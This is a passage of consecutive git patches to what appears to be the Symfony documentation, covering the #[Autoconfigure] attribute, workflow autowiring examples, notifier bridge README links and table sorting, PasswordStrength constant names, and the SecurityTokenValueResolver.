---
 service_container.rst               | 20 ++++++++++++++++++++
 service_container/alias_private.rst | 20 ++++++++++++++++++++
 2 files changed, 40 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 47a421f1345..cdda1155344 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -927,6 +927,26 @@ setting:
             ;
         };
 
+It is also possible to define a service as public thanks to the ``#[Autoconfigure]``
+attribute. This attribute must be used directly on the class of the service
+you want to configure::
+
+    // src/Service/PublicService.php
+    namespace App\Service;
+
+    use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+
+    #[Autoconfigure(public: true)]
+    class PublicService
+    {
+        // ...
+    }
+
+.. versionadded:: 5.3
+
+    The ``#[Autoconfigure]`` attribute was introduced in Symfony 5.3. PHP
+    attributes require at least PHP 8.0.
+
 .. deprecated:: 5.1
 
     As of Symfony 5.1, it is no longer possible to autowire the service
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index 44a8492a53d..fc8bfa0f432 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -62,6 +62,26 @@ You can also control the ``public`` option on a service-by-service basis:
                 ->public();
         };
 
+It is also possible to define a service as public thanks to the ``#[Autoconfigure]``
+attribute. This attribute must be used directly on the class of the service
+you want to configure::
+
+    // src/Service/Foo.php
+    namespace App\Service;
+
+    use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+
+    #[Autoconfigure(public: true)]
+    class Foo
+    {
+        // ...
+    }
+
+.. versionadded:: 5.3
+
+    The ``#[Autoconfigure]`` attribute was introduced in Symfony 5.3. PHP
+    attributes require at least PHP 8.0.
+
 .. _services-why-private:
 
 Private services are special because they allow the container to optimize whether

From 8a9c669d262b3acab74e79894675de7e2f75312a Mon Sep 17 00:00:00 2001
From: Ldiro <35108257+Ldiro@users.noreply.github.com>
Date: Sun, 23 Apr 2023 16:51:21 +0200
Subject: [PATCH 3235/5766] Delete depreciations code examples from
 workflow-and-state-machine.rst

Hi !

Some code examples contains depreciations since sf 6.2 or are not explicit enough in my humble opinion. Here's a little change that I propose to make this page a little bit more clear / up to date.
---
 workflow/workflow-and-state-machine.rst | 44 ++++++++-----------------
 1 file changed, 13 insertions(+), 31 deletions(-)

diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 5dcd1f77755..3884af25059 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -249,51 +249,28 @@ Below is the configuration for the pull request state machine.
                     ->to(['review']);
         };
 
-In a Symfony application using the
-:ref:`default services.yaml configuration <service-container-services-load-example>`,
-you can get this state machine by injecting the Workflow registry service::
-
-    // ...
-    use App\Entity\PullRequest;
-    use Symfony\Component\Workflow\Registry;
-
-    class SomeService
-    {
-        public function __construct(
-            private Registry $workflows,
-        ) {
-        }
-
-        public function someMethod(PullRequest $pullRequest)
-        {
-            $stateMachine = $this->workflows->get($pullRequest, 'pull_request');
-            $stateMachine->apply($pullRequest, 'wait_for_review');
-            // ...
-        }
-
-        // ...
-    }
-
 Symfony automatically creates a service for each workflow (:class:`Symfony\\Component\\Workflow\\Workflow`)
 or state machine (:class:`Symfony\\Component\\Workflow\\StateMachine`) you
-have defined in your configuration. This means that you can use ``workflow.pull_request``
-or ``state_machine.pull_request`` respectively in your service definitions
-to access the proper service::
+have defined in your configuration. You can use the workflow inside a class by using
+:doc:`service autowiring </service_container/autowiring>` and using
+``camelCased workflow name + Workflow`` as parameter name. If it is a state
+machine type, use ``camelCased workflow name + StateMachine``::
 
     // ...
     use App\Entity\PullRequest;
-    use Symfony\Component\Workflow\StateMachine;
+    use Symfony\Component\Workflow\WorkflowInterface;
 
     class SomeService
     {
         public function __construct(
-            private StateMachine $stateMachine,
+            // Symfony will inject the 'pull_request' state machine configured before
+            private WorkflowInterface $pullRequestWorkflow,
         ) {
         }
 
         public function someMethod(PullRequest $pullRequest)
         {
-            $this->stateMachine->apply($pullRequest, 'wait_for_review', [
+            $this->pullRequestWorkflow->apply($pullRequest, 'wait_for_review', [
                 'log_comment' => 'My logging comment for the wait for review transition.',
             ]);
             // ...
@@ -302,6 +279,11 @@ to access the proper service::
         // ...
     }
 
+
+.. versionadded:: 6.2
+
+    All workflows and state machines services are tagged since in Symfony 6.2.
+
 Automatic and Manual Validation
 -------------------------------
 

From 3175594ad5ff54495a01bc5d6a93713562cbeaa6 Mon Sep 17 00:00:00 2001
From: Mickael Perraud <mikaelkael.fr@gmail.com>
Date: Tue, 25 Apr 2023 09:20:19 +0200
Subject: [PATCH 3236/5766] [Notifier] Add links to push bridges' README

---
 notifier.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index f12ab679cf3..56ea489d43a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -425,12 +425,12 @@ The push channel is used to send notifications to users by using
 :class:`Symfony\\Component\\Notifier\\Texter` classes. Symfony provides
 integration with these push services:
 
-==============  ====================================  =================================================================================
-Service         Package                               DSN
-==============  ====================================  =================================================================================
-Expo            ``symfony/expo-notifier``              ``expo://Token@default``
-OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
-==============  ====================================  =================================================================================
+=================  ====================================  =================================================================================
+Service            Package                               DSN
+=================  ====================================  =================================================================================
+`Expo`_            ``symfony/expo-notifier``              ``expo://Token@default``
+`OneSignal`_       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
+=================  ====================================  =================================================================================
 
 .. versionadded:: 5.4
 
@@ -910,6 +910,7 @@ is dispatched. Listeners receive a
 .. _`Clickatell`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Clickatell/README.md
 .. _`Discord`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Discord/README.md
 .. _`Esendex`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Esendex/README.md
+.. _`Expo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Expo/README.md
 .. _`FakeChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeChat/README.md
 .. _`FakeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeSms/README.md
 .. _`Firebase`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Firebase/README.md
@@ -930,6 +931,7 @@ is dispatched. Listeners receive a
 .. _`Mobyt`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mobyt/README.md
 .. _`Nexmo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Nexmo/README.md
 .. _`Octopush`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Octopush/README.md
+.. _`OneSignal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OneSignal/README.md
 .. _`OvhCloud`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OvhCloud/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md

From e753954862ff188c59f839837789f96da7eeca0b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Apr 2023 19:36:40 +0200
Subject: [PATCH 3237/5766] [Validator] Update the name of a level in
 PasswordStrength constraint

---
 reference/constraints/PasswordStrength.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 2625cbc0f40..ce18f95c4f6 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -1,6 +1,10 @@
 PasswordStrength
 ================
 
+.. versionadded:: 6.3
+
+    The ``PasswordStrength`` constraint was introduced in Symfony 6.3.
+
 Validates that the given password has reached the minimum strength required by
 the constraint.
 
@@ -15,7 +19,7 @@ Basic Usage
 
 The following constraint ensures that the ``rawPassword`` property of the
 ``User`` class reaches the minimum strength required by the constraint.
-By default, the minimum required score is 2.
+By default, the minimum required score is ``2``.
 
 .. configuration-block::
 
@@ -77,11 +81,12 @@ Available Options
 ``minScore``
 ~~~~~~~~~~~~
 
-**type**: ``integer`` **default**: ``PasswordStrength::STRENGTH_REASONABLE`` (``2``)
+**type**: ``integer`` **default**: ``PasswordStrength::STRENGTH_MEDIUM`` (``2``)
 
 The minimum required strength of the password. Available constants are:
+
 * ``PasswordStrength::STRENGTH_WEAK`` = ``1``
-* ``PasswordStrength::STRENGTH_REASONABLE`` = ``2``
+* ``PasswordStrength::STRENGTH_MEDIUM`` = ``2``
 * ``PasswordStrength::STRENGTH_STRONG`` = ``3``
 * ``PasswordStrength::STRENGTH_VERY_STRONG`` = ``4``
 

From a2756508070354f26878d54244d80097aabcd5f9 Mon Sep 17 00:00:00 2001
From: Mickael Perraud <mikaelkael.fr@gmail.com>
Date: Wed, 26 Apr 2023 08:32:43 +0200
Subject: [PATCH 3238/5766] [Notifier] Add links to push bridges' README

---
 notifier.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 62feb32c5b0..e651e5b6dcd 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -405,7 +405,7 @@ integration with these push services:
 =================  ====================================  =================================================================================
 Service            Package                               DSN
 =================  ====================================  =================================================================================
-Engagespot         ``symfony/engagespot-notifier``        ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
+`Engagespot`_      ``symfony/engagespot-notifier``        ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
 `Expo`_            ``symfony/expo-notifier``              ``expo://Token@default``
 `OneSignal`_       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
 =================  ====================================  =================================================================================
@@ -947,6 +947,7 @@ is dispatched. Listeners receive a
 .. _`Clickatell`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Clickatell/README.md
 .. _`ContactEveryone`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/ContactEveryone/README.md
 .. _`Discord`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Discord/README.md
+.. _`Engagespot`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Engagespot/README.md
 .. _`Esendex`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Esendex/README.md
 .. _`Expo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Expo/README.md
 .. _`FakeChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FakeChat/README.md
@@ -970,11 +971,8 @@ is dispatched. Listeners receive a
 .. _`Mobyt`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mobyt/README.md
 .. _`Nexmo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Nexmo/README.md
 .. _`Octopush`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Octopush/README.md
-<<<<<<< HEAD
 .. _`OrangeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OrangeSms/README.md
-=======
 .. _`OneSignal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OneSignal/README.md
->>>>>>> 5.4
 .. _`OvhCloud`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OvhCloud/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md

From 4863ee5ded377e4ec34d99a71e1d7563b12ad1d4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 09:00:40 +0200
Subject: [PATCH 3239/5766] Fix: Order

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index e651e5b6dcd..d28f69b1919 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -971,8 +971,8 @@ is dispatched. Listeners receive a
 .. _`Mobyt`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mobyt/README.md
 .. _`Nexmo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Nexmo/README.md
 .. _`Octopush`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Octopush/README.md
-.. _`OrangeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OrangeSms/README.md
 .. _`OneSignal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OneSignal/README.md
+.. _`OrangeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OrangeSms/README.md
 .. _`OvhCloud`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OvhCloud/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md

From aaff1e01ecf23cc5bd49a452783a66463f6f3228 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 09:02:13 +0200
Subject: [PATCH 3240/5766] Fix: Remove merge conflict

---
 notifier.rst | 14 ++------------
 1 file changed, 2 insertions(+), 12 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 7c3d3c7f2f3..8cf2e0bc907 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -420,25 +420,15 @@ The push channel is used to send notifications to users by using
 :class:`Symfony\\Component\\Notifier\\Texter` classes. Symfony provides
 integration with these push services:
 
-<<<<<<< HEAD
-==============  ====================================  =================================================================================
-Service         Package                               DSN
-==============  ====================================  =================================================================================
-Engagespot      ``symfony/engagespot-notifier``        ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
-Expo            ``symfony/expo-notifier``              ``expo://Token@default``
-OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
-PagerDuty       ``symfony/pager-duty-notifier``        ``pagerduty://TOKEN@SUBDOMAIN``
-Pushover        ``symfony/pushover-notifier``          ``pushover://USER_KEY:APP_TOKEN@default``
-==============  ====================================  =================================================================================
-=======
 =================  ====================================  =================================================================================
 Service            Package                               DSN
 =================  ====================================  =================================================================================
 `Engagespot`_      ``symfony/engagespot-notifier``        ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
 `Expo`_            ``symfony/expo-notifier``              ``expo://Token@default``
 `OneSignal`_       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
+PagerDuty          ``symfony/pager-duty-notifier``        ``pagerduty://TOKEN@SUBDOMAIN``
+Pushover           ``symfony/pushover-notifier``          ``pushover://USER_KEY:APP_TOKEN@default``
 =================  ====================================  =================================================================================
->>>>>>> 6.2
 
 .. versionadded:: 6.1
 

From 0f65b2c8b088ec49a595e523f77766bed4b17a11 Mon Sep 17 00:00:00 2001
From: Mickael Perraud <mikaelkael.fr@gmail.com>
Date: Wed, 26 Apr 2023 09:07:35 +0200
Subject: [PATCH 3241/5766] [Notifier] Add links to push bridges' README

---
 notifier.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 8cf2e0bc907..1a601eb7cf7 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -426,8 +426,8 @@ Service            Package                               DSN
 `Engagespot`_      ``symfony/engagespot-notifier``        ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
 `Expo`_            ``symfony/expo-notifier``              ``expo://Token@default``
 `OneSignal`_       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
-PagerDuty          ``symfony/pager-duty-notifier``        ``pagerduty://TOKEN@SUBDOMAIN``
-Pushover           ``symfony/pushover-notifier``          ``pushover://USER_KEY:APP_TOKEN@default``
+`PagerDuty`_       ``symfony/pager-duty-notifier``        ``pagerduty://TOKEN@SUBDOMAIN``
+`Pushover`_        ``symfony/pushover-notifier``          ``pushover://USER_KEY:APP_TOKEN@default``
 =================  ====================================  =================================================================================
 
 .. versionadded:: 6.1
@@ -1002,7 +1002,9 @@ is dispatched. Listeners receive a
 .. _`OneSignal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OneSignal/README.md
 .. _`OrangeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OrangeSms/README.md
 .. _`OvhCloud`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OvhCloud/README.md
+.. _`PagerDuty`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/PagerDuty/README.md
 .. _`Plivo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Plivo/README.md
+.. _`Pushover`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushover/README.md
 .. _`RingCentral`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RingCentral/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md

From 9725ffc520a3ec4ea15634f490caeae4cab7d2d2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 09:21:01 +0200
Subject: [PATCH 3242/5766] Rearange table

---
 notifier.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 56ea489d43a..390f4071cc6 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -425,12 +425,12 @@ The push channel is used to send notifications to users by using
 :class:`Symfony\\Component\\Notifier\\Texter` classes. Symfony provides
 integration with these push services:
 
-=================  ====================================  =================================================================================
-Service            Package                               DSN
-=================  ====================================  =================================================================================
-`Expo`_            ``symfony/expo-notifier``              ``expo://Token@default``
-`OneSignal`_       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
-=================  ====================================  =================================================================================
+===============  ====================================  ==============================================================================
+Service          Package                               DSN
+===============  ====================================  ==============================================================================
+`Expo`_          ``symfony/expo-notifier``             ``expo://Token@default``
+`OneSignal`_     ``symfony/one-signal-notifier``       ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
+===============  ====================================  ==============================================================================
 
 .. versionadded:: 5.4
 

From d86b238b7afa884553622625a6092e285fa50be0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 09:23:08 +0200
Subject: [PATCH 3243/5766] Sort

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 390f4071cc6..659f8f245ff 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -939,8 +939,8 @@ is dispatched. Listeners receive a
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
 .. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md
 .. _`Sms77`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sms77/README.md
-.. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
 .. _`SmsBiuras`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsBiuras/README.md
+.. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
 .. _`Smsc`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsc/README.md
 .. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md
 .. _`Telegram`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telegram/README.md

From 7fed88b3698f82a3d5bb9115118df93dc01a643c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 09:23:39 +0200
Subject: [PATCH 3244/5766] Sort

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index ab50022f61f..2086c08979e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -976,6 +976,7 @@ is dispatched. Listeners receive a
 .. _`OvhCloud`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OvhCloud/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
+.. _`SMSFactor`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsFactor/README.md
 .. _`Sendberry`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendberry/README.md
 .. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendinblue/README.md
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
@@ -984,7 +985,6 @@ is dispatched. Listeners receive a
 .. _`SmsBiuras`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsBiuras/README.md
 .. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
 .. _`Smsc`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsc/README.md
-.. _`SMSFactor`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsFactor/README.md
 .. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md
 .. _`Telegram`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telegram/README.md
 .. _`Telnyx`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telnyx/README.md

From 2d158857fa900b0429959be2e056a128fce6f270 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 09:24:21 +0200
Subject: [PATCH 3245/5766] Sort

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 3eaf5037e8d..0480405cc4a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -986,8 +986,8 @@ is dispatched. Listeners receive a
 .. _`Iqsms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Iqsms/README.md
 .. _`iSendPro`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Isendpro/README.md
 .. _`KazInfoTeh`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/KazInfoTeh/README.md
-.. _`LightSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LightSms/README.md
 .. _`LINE Notify`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LineNotify/README.md
+.. _`LightSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LightSms/README.md
 .. _`LinkedIn`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LinkedIn/README.md
 .. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mailjet/README.md
 .. _`Mastodon`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mastodon/README.md
@@ -1005,8 +1005,8 @@ is dispatched. Listeners receive a
 .. _`PagerDuty`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/PagerDuty/README.md
 .. _`Plivo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Plivo/README.md
 .. _`Pushover`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushover/README.md
-.. _`RingCentral`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RingCentral/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
+.. _`RingCentral`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RingCentral/README.md
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
 .. _`SMSFactor`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsFactor/README.md
 .. _`Sendberry`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendberry/README.md

From e77ba0eb61cf1531630ff5df25fa13ba24d7295b Mon Sep 17 00:00:00 2001
From: stiteca <stiteca@norsys.fr>
Date: Wed, 19 Apr 2023 22:54:22 +0200
Subject: [PATCH 3246/5766] Update rounding_mode.rst.inc

Add PercentType into default \NumberFormatter::ROUND_HALFUP types
---
 reference/forms/types/options/rounding_mode.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/rounding_mode.rst.inc b/reference/forms/types/options/rounding_mode.rst.inc
index 6262bd7a719..6333c751ff7 100644
--- a/reference/forms/types/options/rounding_mode.rst.inc
+++ b/reference/forms/types/options/rounding_mode.rst.inc
@@ -7,7 +7,7 @@ and ``\NumberFormatter::ROUND_HALFUP`` for ``MoneyType`` and ``NumberType``
 * IntegerType
 **default**: ``\NumberFormatter::ROUND_DOWN``
 
-* MoneyType and NumberType
+* MoneyType,  NumberType and PercentType
 **default**: ``\NumberFormatter::ROUND_HALFUP``
 
 

From 2cc5a970a950e97af26a5c948b36d3311c04fb7a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 23 Apr 2023 10:45:53 +0200
Subject: [PATCH 3247/5766] [Security] Document `SecurityTokenValueResolver`
 for Security Token

---
 controller/value_resolver.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 89875f64c2a..37902d8a5be 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -169,6 +169,17 @@ In addition, some components, bridges and official bundles provide other value r
     user has a user class not matching the type-hinted class, an ``AccessDeniedException``
     is thrown by the resolver to prevent access to the controller.
 
+:class:`Symfony\\Component\\Security\\Http\\Controller\\SecurityTokenValueResolver`
+    Injects the object that represents the current logged in token if type-hinted
+    with ``TokenInterface`` or a class extending it.
+
+    If the argument is not nullable and there is no logged in token, an ``HttpException`` with status code 401
+    is thrown by the resolver to prevent access to the controller.
+
+    .. versionadded:: 6.3
+
+        The ``SecurityTokenValueResolver`` was introduced in Symfony 6.3.
+
 :class:`Symfony\\Bridge\\Doctrine\\ArgumentResolver\\EntityValueResolver`
     Automatically query for an entity and pass it as an argument to your controller.
 

From 164b9dcbf843df096e282572a7875976b62b4f8a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 26 Apr 2023 10:39:15 +0200
Subject: [PATCH 3248/5766] Minor

---
 controller/value_resolver.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 37902d8a5be..8f37ed09fe7 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -173,8 +173,8 @@ In addition, some components, bridges and official bundles provide other value r
     Injects the object that represents the current logged in token if type-hinted
     with ``TokenInterface`` or a class extending it.
 
-    If the argument is not nullable and there is no logged in token, an ``HttpException`` with status code 401
-    is thrown by the resolver to prevent access to the controller.
+    If the argument is not nullable and there is no logged in token, an ``HttpException``
+    with status code 401 is thrown by the resolver to prevent access to the controller.
 
     .. versionadded:: 6.3
 

From d7adb147e1d845f38ff8d2dbc682ead327c706c0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lo=C3=AFck=20Piera?= <pyrech@gmail.com>
Date: Sun, 2 Apr 2023 11:51:22 +0200
